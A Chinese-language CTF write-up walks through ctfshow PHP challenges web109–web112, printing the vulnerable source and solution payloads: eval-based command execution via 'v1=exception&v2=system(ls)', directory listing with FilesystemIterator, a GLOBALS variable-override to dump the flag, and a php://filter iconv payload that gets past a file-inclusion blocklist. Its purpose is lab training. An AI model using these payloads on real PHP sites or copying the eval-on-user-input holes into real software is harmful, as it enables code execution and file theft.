web109
<?php
/*
-*- coding: utf-8 -*-
@Author: h1xa
@Date: 2020-09-16 11:25:09
@Last Modified by: h1xa
@Last Modified time: 2020-09-29 22:02:34
*/
highlight_file(FILE);
error_reporting(0);
if(isset(_GET\['v1'\]) \&\& isset(_GET['v2'])){
$v1 = $_GET['v1'];
$v2 = $_GET['v2'];
if(preg_match('/[a-zA-Z]+/', $v1) && preg_match('/[a-zA-Z]+/', $v2)){
eval("echo new v1(v2());");
}
}
?>
代码分析:
使用正则表达式函数 preg_match()
来检查变量 $v1
和 $v2
是否包含至少一个字母。如果两者都满足条件,则执行 eval()
函数,将 $v2()
执行的结果作为参数创建一个新的 $v1
类对象,并通过 echo
输出。
思路:既然题目没有告诉我flag在哪,那我肯定要v2=system(ls)啊,这是每道题目都通用的思路
知识点:异常处理逻辑
当在PHP代码中出现错误时,可以使用异常处理机制来处理错误。异常(Exception)是一种特殊的对象,用于表示在代码执行过程中发生的错误情况。
下面是一个简单的异常处理逻辑的示例:
try {
// 可能引发异常的代码
throw new Exception("这是一个异常示例");
} catch (Exception $e) {
// 异常处理逻辑
echo "捕获到异常:" . $e->getMessage();
}
在这个例子中,异常处理逻辑如下:
try
块中的代码可能会引发一个Exception
类型的异常。- 当异常发生时,程序会跳转到与
Exception
类型匹配的catch
块中。 - 在
catch
块中可以使用$e
变量来引用捕获到的异常对象,然后根据具体情况处理异常,例如输出异常信息。
异常处理逻辑可以帮助我们更好地处理程序中可能发生的错误情况,提高代码的可读性、可维护性和容错性。
回到本题:
eval("echo new v1(v2());");在这串代码中既然v2=system(ls),那我肯定
$v1
作为类名,$v2()
作为类的构造函数的调用。,v1
为x,v2
为system(ls)
,eval()
函数最终执行的代码相当于:
echo new x(system(ls));
你觉得如果v1随便输入一个字符能够使得上面语句成立吗?
不可以,如果x=xeception,那么就会触发Exception
类型的异常,变成执行命令
echo new exception(system(ls));
payload:v1=exception&v2=system(ls)
再访问fl36dg.txt页面就好
web110
<?php
/*
-*- coding: utf-8 -*-
@Author: h1xa
@Date: 2020-09-16 11:25:09
@Last Modified by: h1xa
@Last Modified time: 2020-09-29 22:49:10
*/
highlight_file(FILE);
error_reporting(0);
if(isset(_GET\['v1'\]) \&\& isset(_GET['v2'])){
$v1 = $_GET['v1'];
$v2 = $_GET['v2'];
if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v1)){
die("error v1");
}
if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v2)){
die("error v2");
}
eval("echo new v1(v2());");
}
?>
思路:
这里和上一题原理不同,有没有发现('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]这里过滤的那么凶残,基本符号都给你禁完了,怎么办?
代码分析:
使用正则表达式函数 preg_match()
来检查变量 $v1
和 $v2
是否包含至少一个字母。如果两者都满足条件,则执行 eval()
函数,将 $v2()
执行的结果作为参数创建一个新的 $v1
类对象,并通过 echo
输出。
思路:既然题目没有告诉我flag在哪,那我肯定要v2=system(ls)啊,这是每道题目都通用的思路,确实是这样没错,但是这里把括号给你搞没了,太狠了!!!
这个语句是查找当前目录的语句,到底有什么也有相似的功能呢?
**百度一下,**到底有什么能够返回当前的目录呢?于是发现了希望!
getcwd()
是 PHP 内置的一个函数,它返回当前的工作目录的路径字符串。例如,如果当前工作目录是 "/var/www/html"
,那么 getcwd()
将返回 "/var/www/html"
。
好!v2搞定了,那就开始v1
回到本题:
eval("echo new v1(v2());");在这串代码中既然v2=getcwd,那我肯定
$v1
作为类名,$v2()
作为类的构造函数的调用。,v1
为x,v2
为getcwd,eval()
函数最终执行的代码相当于:
echo new x(getcwd);
你觉得如果v1随便输入一个字符能够使得上面语句成立吗?
echo new $v1($v2())
那我肯定得找一个有效的类名啊,不然肯定得报错,那该用什么类呢?问GPT
哈哈哈,找到了!FilesystemIterator
是 PHP 提供的一个类,用于遍历文件系统中的文件和目录。它的构造函数可以接受一个路径作为参数,用于指定要遍历的目录。
payload:v1=FilesystemIterator&v2=getcwd
接下来访问页面就好!
web111
<?php
/*
-*- coding: utf-8 -*-
@Author: h1xa
@Date: 2020-09-16 11:25:09
@Last Modified by: h1xa
@Last Modified time: 2020-09-30 02:41:40
*/
highlight_file(FILE);
error_reporting(0);
include("flag.php");
function getFlag(&v1,\&v2){
eval("$$v1 = &$$v2;");
var_dump($$v1);
}
if(isset(_GET\['v1'\]) \&\& isset(_GET['v2'])){
$v1 = $_GET['v1'];
$v2 = $_GET['v2'];
if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v1)){
die("error v1");
}
if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v2)){
die("error v2");
}
if(preg_match('/ctfshow/', $v1)){
getFlag(v1,v2);
}
}
?>
这道题多好啊!v1直接给你了ctfshow,接下来调用getFlag函数,
function getFlag(&v1,\&v2){
eval("$$v1 = &$$v2;");
var_dump($$v1);
}
这里就是一个最经典的变量覆盖,include("flag.php");flag藏在这里面,那我就使用全局变量覆盖。
直接v2=GLOBALS
解析:
这行代码将 GLOBALS
赋值给了一个名为 ctfshow
的局部变量,并且使用了引用符号 &
。这意味着 $ctfshow
和 $GLOBALS
引用同一个变量内存空间。
由于在代码中引入了 flag.php
文件,因此 $GLOBALS
数组中会包含引入的 flag.php
文件中定义的 $flag
变量。
所以,当我们调用 var_dump($$v1)
时,实际上是打印出了 $ctfshow
引用的变量,即 $GLOBALS
数组,其中包含了 $flag
变量的值。
**payload:v1=ctfshow&v2=**GLOBALS
web112
<?php
/*
-*- coding: utf-8 -*-
@Author: Firebasky
@Date: 2020-09-16 11:25:09
@Last Modified by: h1xa
@Last Modified time: 2020-09-30 23:47:49
*/
highlight_file(FILE);
error_reporting(0);
function filter($file){
if(preg_match('/\.\.\/|http|https|data|input|rot13|base64|string/i',$file)){
die("hacker!");
}else{
return $file;
}
}
file=_GET['file'];
if(! is_file($file)){
highlight_file(filter($file));
}else{
echo "hacker!";
}
这道题目是一道经典的文件包含题目, if(preg_match('/\.\.\/|http|https|data|input|rot13|base64|string/i',$file)){
这里才过滤了冰山一角,
我之前的文章可是把所有过滤器都列举了,这点过滤很简单。
如果不懂,直接看我的文章,使用爆破法解决,万能的,破除一切大范围过滤,希望大家可以看看我的这篇关于文件包含的文章,该介绍的都介绍了。
直接把我当时爆破出来的万能payload丢上去就好了,这个万能payload之所以万能是因为我做了那么多题,还没见过把这个过滤的题目,哈哈哈!
payload:
?file=php://filter//convert.iconv.UTF-8.UCS-4*/resource=flag.php
真诚地希望我的文章能够得到大家的喜欢,最重要的是能够对大家有所帮助,谢谢!